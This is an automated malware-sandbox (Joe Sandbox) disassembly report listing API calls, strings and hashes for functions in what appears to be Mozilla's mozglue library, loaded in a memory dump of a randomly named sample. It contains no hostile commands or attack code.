floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B3EE2

Part of subcall function 6C4B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C4B61DD
Part of subcall function 6C4B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C4B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B4157

Part of subcall function 6C4B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C4B6250
Part of subcall function 6C4B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C4B4896
free.MOZGLUE ref: 6C4B489F

Strings

, xrefs: 6C4B4CD2

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 94557201c3e191c1e5d184677d5e8f5fbcfde9ac1af61159e52bc07338ecae07
Instruction ID: 47403c9b11c08fca5ca84cc85e3ca98794ec24c94ddd65c38c12e6d84500284d
Opcode Fuzzy Hash: 94557201c3e191c1e5d184677d5e8f5fbcfde9ac1af61159e52bc07338ecae07
Instruction Fuzzy Hash: 63F24D74908B808FC735DF28C084A9AFBF1FF89354F158A5ED99997721DB319886CB42

Function 6C4664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C4664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C4664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C466505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C466518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C46652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C46671C
GetCurrentProcess.KERNEL32 ref: 6C466724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C46672F
GetCurrentProcess.KERNEL32 ref: 6C466759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C466764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C466A80
GetSystemInfo.KERNEL32(?), ref: 6C466ABE
__Init_thread_footer.LIBCMT ref: 6C466AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C466AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C466AF7

Strings

nvdxgiwrap.dll, xrefs: 6C466513
_etoured.dll, xrefs: 6C4664ED
nvd3d9wrap.dll, xrefs: 6C466500
detoured.dll, xrefs: 6C4664DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C466798
user32.dll, xrefs: 6C466526

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: af68a0ac1d74acbe40c0ac1e17dfc0b55583ba069dd674388c8b3cbb9371efe4
Instruction ID: e45ace4b47de005ada4f2f017cc69cc01e1d2fddb42b8b594cd45f6d4cf8c0e8
Opcode Fuzzy Hash: af68a0ac1d74acbe40c0ac1e17dfc0b55583ba069dd674388c8b3cbb9371efe4
Instruction Fuzzy Hash: 6CF1F3709052198FDB20EF66CC88FDAB7B5AF06319F144299D809E3B45D731AE85CF91

Function 6C4BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C4BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C4BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C4BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C4BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C4BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C4BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C4BE472

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: c66d98954b273ee30f0c89066e89259adda4b6123d476792da08754bbcf7add4
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 86338E71E0421A8FCB04CF98C8C0EADBBB2FF89314F194269D955BB755D731A946CBA0

Function 6C46FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE7B8), ref: 6C46FF81
LeaveCriticalSection.KERNEL32(6C4DE7B8), ref: 6C47022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C470240
EnterCriticalSection.KERNEL32(6C4DE768), ref: 6C47025B
LeaveCriticalSection.KERNEL32(6C4DE768), ref: 6C47027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C470D67, 6C470D7B, 6C470DAC
<jemalloc>, xrefs: 6C470D62, 6C470D76, 6C470DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C46FE99, 6C46FEB7, 6C46FED3, 6C470DB8, 6C470DD3, 6C4719B4

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 0580a17bffd8fa849de3ea450f72fe58561dfa4e2e812477508ba5f05a36c45d
Instruction ID: 893e052c3bd986cf69de1dc88964f4a86ca43001d09a012629e3bfe44ba97c1f
Opcode Fuzzy Hash: 0580a17bffd8fa849de3ea450f72fe58561dfa4e2e812477508ba5f05a36c45d
Instruction Fuzzy Hash: D5C2D271A067418FD724CF28C590F56BBE1BF85328F28C66DE4A98B795D732E801CB91

Function 6C47D4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D4F2
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D50B

Part of subcall function 6C45CFE0: EnterCriticalSection.KERNEL32(6C4DE784), ref: 6C45CFF6
Part of subcall function 6C45CFE0: LeaveCriticalSection.KERNEL32(6C4DE784), ref: 6C45D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D52E
EnterCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47D6A6
LeaveCriticalSection.KERNEL32(6C4DE7DC), ref: 6C47D712
LeaveCriticalSection.KERNEL32(6C4DE784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C48D1C5), ref: 6C47D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C47D7EA

Strings

<jemalloc>, xrefs: 6C47D827
: (malloc) Error initializing arena, xrefs: 6C47D82C

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: bd8f67fd9a8957d8ac64991ad58d6b40187d31f4307cfd39fd8cd025bbfa8f72
Instruction ID: bd915c3b225a49bf054266449e20a0b9f00f07d4369f08f40bd8fac827c078db
Opcode Fuzzy Hash: bd8f67fd9a8957d8ac64991ad58d6b40187d31f4307cfd39fd8cd025bbfa8f72
Instruction Fuzzy Hash: D391E371A147018FD764DF28C490FAAB7E1EB89314F15892EE59AC7B80D730F845CBA2

Function 6C4A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C4A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C4A2C61

Part of subcall function 6C454DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C454E5A
Part of subcall function 6C454DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C454E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C4A2E2D

Part of subcall function 6C4681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4681DE

Strings

(root), xrefs: 6C4A354F
expected a Time entry, xrefs: 6C4A2E36
ProfileBuffer parse error: %s, xrefs: 6C4A2E3B

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 73c10a0e2eade4ef558c0cd4a54cc661af99e7af632d86fdf3b88d3a631d268a
Instruction ID: acd51027c69749f1e6c8b972efabb5d8eee1575fb9acc106c58eed694059ff8b
Opcode Fuzzy Hash: 73c10a0e2eade4ef558c0cd4a54cc661af99e7af632d86fdf3b88d3a631d268a
Instruction Fuzzy Hash: 4F91DF706087408FC724DF65C490E9FFBE1AF99358F10491DE99A8B755EB30D94ACB82

Function 6C45D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

-, xrefs: 6C45D7DD
8, xrefs: 6C45DC08
0, xrefs: 6C45DC7F
9, xrefs: 6C45DE7F
, xrefs: 6C45DA88
@, xrefs: 6C45DAF6
1, xrefs: 6C45DBDD
0, xrefs: 6C45D852

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: e594c1af9d2a73a3239c580c2b2a0937a17c75e28a14c6d040ee1f17d7587fbc
Instruction ID: 74e40ef74902a4ee12fac6e05e4cc5054249cdfb92af93742f329ca7c1e5542d
Opcode Fuzzy Hash: e594c1af9d2a73a3239c580c2b2a0937a17c75e28a14c6d040ee1f17d7587fbc
Instruction Fuzzy Hash: A062DE7160C3458FD705CE18C290F5EBBF2AF86359F984A1DE4E54BB91C33598A6CB82

Function 6C4C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4C8A4B

Strings

~qEl, xrefs: 6C4C56C7, 6C4C5703, 6C4C921F, 6C4C5740, 6C4C9459, 6C4C9269, 6C4C948F

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: memset
String ID: ~qEl
API String ID: 2221118986-916298983
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 8591e4a8be1a49ca0f3ccc7619b1b86ad49acb37e3f406f6a4800044f62a5245
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: B3B1C576F0121A8FDB14CF68CC90FA9B7B2EF95314F1802A9C549DB7A1D7309985CB91

Function 6C4C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C4C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C4C925C

Strings

~qEl, xrefs: 6C4C56C7, 6C4C5703, 6C4C921F, 6C4C5740, 6C4C9459, 6C4C9269, 6C4C948F

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: memset
String ID: ~qEl
API String ID: 2221118986-916298983
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: ca4e55aaa31a8f4241bf3a637755065f04e166162455e0c29b7b831e3d0935b8
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 2CB1D576F0420A8FCB14CF58CC81EADB7B2AF94314F180269C549EB795D731A98ACB91

Function 6C496CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C496D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C496E1E

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 7eb68117e8447b98953ab3cb6488d4e70e337f78deacc06ef7529ec8c37eea72
Instruction ID: 8b29abe26e38648ddf3d59b30194481d1b3df7e5877dffadf205518923609c8a
Opcode Fuzzy Hash: 7eb68117e8447b98953ab3cb6488d4e70e337f78deacc06ef7529ec8c37eea72
Instruction Fuzzy Hash: A9A169746183918FDB15DF24C490FAEBBE2BF88308F44495DE88A87751DB70A949CBD2

Function 6C495C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C464A63,?,?), ref: 6C495F06

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: d664c55c1e15e848e89e6b81bef707ea9222275cf3b58c2ab228f8297a1da0c4
Instruction ID: 1b604b1d4eb129b0ddfa88030dc4aacc30bea992e5166eb7d835d072b1bdb803
Opcode Fuzzy Hash: d664c55c1e15e848e89e6b81bef707ea9222275cf3b58c2ab228f8297a1da0c4
Instruction Fuzzy Hash: 41C1A075D012298BCB04CF55D590EEEBFB2BF8931AF38825DD8556BB44D732A806CB90

Function 6C4CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991340726.000000006C4DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991364633.000000006C4E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c450000_qlI3ReINCV.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ed184ffb35bfd076ba9fb5b14bb070ebd80e3184128e20a36e970e1bab46110
Instruction ID: 533bfef569f73c9216d9ae2394cb235a0fac6b65b65f0762816607bd442dd9bb
Opcode Fuzzy Hash: 0ed184ffb35bfd076ba9fb5b14bb070ebd80e3184128e20a36e970e1bab46110
Instruction Fuzzy Hash: 5BF16A75B087454FD700CE28C881FAAB7E2AFC5319F148A2DE5D4877A1E774D8898793

Function 6C49CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C46582D), ref: 6C49CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C46582D), ref: 6C49CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C4CFE98,?,?,?,?,?,6C46582D), ref: 6C49CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C46582D), ref: 6C49CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C49CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C49CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C49CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C49CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C49CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C49CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C49CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C49CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C49CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C49CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C49CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C49CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C49CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C49CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C49CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C49CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C49CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C49CE8A

Strings

default, xrefs: 6C49CC21
power, xrefs: 6C49CE84
audiocallbacktracing, xrefs: 6C49CDD4
noiostacks, xrefs: 6C49CCBE
TLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyPQDcBc.exeTTLlkcWDMaiDrfVeBFLDQyP, xrefs: 6C49CE92
cpuallthreads, xrefs: 6C49CE16
mainthreadio, xrefs: 6C49CC7C
leaf, xrefs: 6C49CC66
jsallocations, xrefs: 6C49CD0E
ipcmessages, xrefs: 6C49CDBE
markersallthreads, xrefs: 6C49CE42
preferencereads, xrefs: 6C49CD92
screenshots, xrefs: 6C49CCD4
unregisteredthreads, xrefs: 6C49CE58
stackwalk, xrefs: 6C49CCF8
processcpu, xrefs: 6C49CE6E
samplingallthreads, xrefs: 6C49CE2C
nostacksampling, xrefs: 6C49CD7C
notimerresolutionchange, xrefs: 6C49CE00
fileioall, xrefs: 6C49CCA8
seqstyle, xrefs: 6C49CCE6
nativeallocations, xrefs: 6C49CDA8
fileio, xrefs: 6C49CC92
java, xrefs: 6C49CC37
Unrecognized feature "%s"., xrefs: 6C49CEA0

Memory Dump Source

Source File: 00000000.00000002.1990583474.000000006C451000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C450000, based on PE: true

Associated: 00000000.00000002.1990518985.000000006C450000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.1991303879.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
